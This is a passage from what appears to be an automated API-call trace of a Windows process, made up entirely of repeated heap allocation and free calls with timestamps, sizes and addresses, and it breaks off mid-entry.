[0124.903] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.903] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.903] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.903] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.903] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.903] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.903] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.903] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.903] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.903] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.903] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.903] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.903] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.903] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.903] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.903] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.903] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.903] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.903] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.903] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.903] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.903] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.903] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.903] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.903] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.903] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.903] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.903] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.904] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.904] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.904] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.904] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.904] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.904] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.904] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.904] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.904] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.904] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.904] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.904] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.904] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.904] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.904] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.904] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.904] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.904] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.904] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.904] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.904] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.904] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.904] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.904] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.904] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.904] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.904] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.904] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.904] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.904] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.904] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.904] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.904] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.905] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.905] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.905] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.905] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.905] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.905] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.905] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.905] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.905] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.905] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.905] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.905] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0124.905] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.905] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.905] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.905] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.905] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.905] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.905] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.905] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.905] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.905] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.905] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.905] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.905] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.905] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.905] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.905] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.905] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.905] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.905] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.905] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.905] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.906] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.906] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.906] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.906] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.906] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.906] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.906] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.906] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.906] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.906] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.906] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.906] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.906] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.906] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.906] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.906] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.906] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.906] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.906] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.906] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.906] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.906] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.906] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.906] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.906] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.906] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.906] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.906] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.906] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.906] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.906] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.907] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.907] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.907] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.907] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.907] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.907] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.907] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.907] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.907] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.907] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.907] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.907] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.907] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.907] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.907] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.907] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.907] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.907] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.907] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.907] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.907] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.907] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.907] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.907] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.907] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.907] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.907] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.907] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.907] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.907] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.907] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.907] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.907] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.908] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.908] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.908] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.908] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.908] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.908] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.908] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.908] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.908] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.908] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.908] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.908] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.908] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.908] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.908] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.908] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.908] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.908] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.908] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.908] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.908] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.908] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.908] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.908] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.908] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.908] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.908] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.908] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.908] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.908] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.908] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.908] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.908] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.909] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.909] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.909] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.909] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.909] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.909] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.909] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.909] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.909] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.909] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.909] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.909] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.909] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.909] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.909] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.909] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.909] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.909] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.909] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.909] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.909] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.909] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.909] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.909] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.909] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.909] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.909] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.909] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.909] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.909] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.909] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.909] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.909] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.910] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.910] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.910] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.910] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.910] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.910] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.910] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.910] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.910] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.910] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.910] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.910] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.910] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, 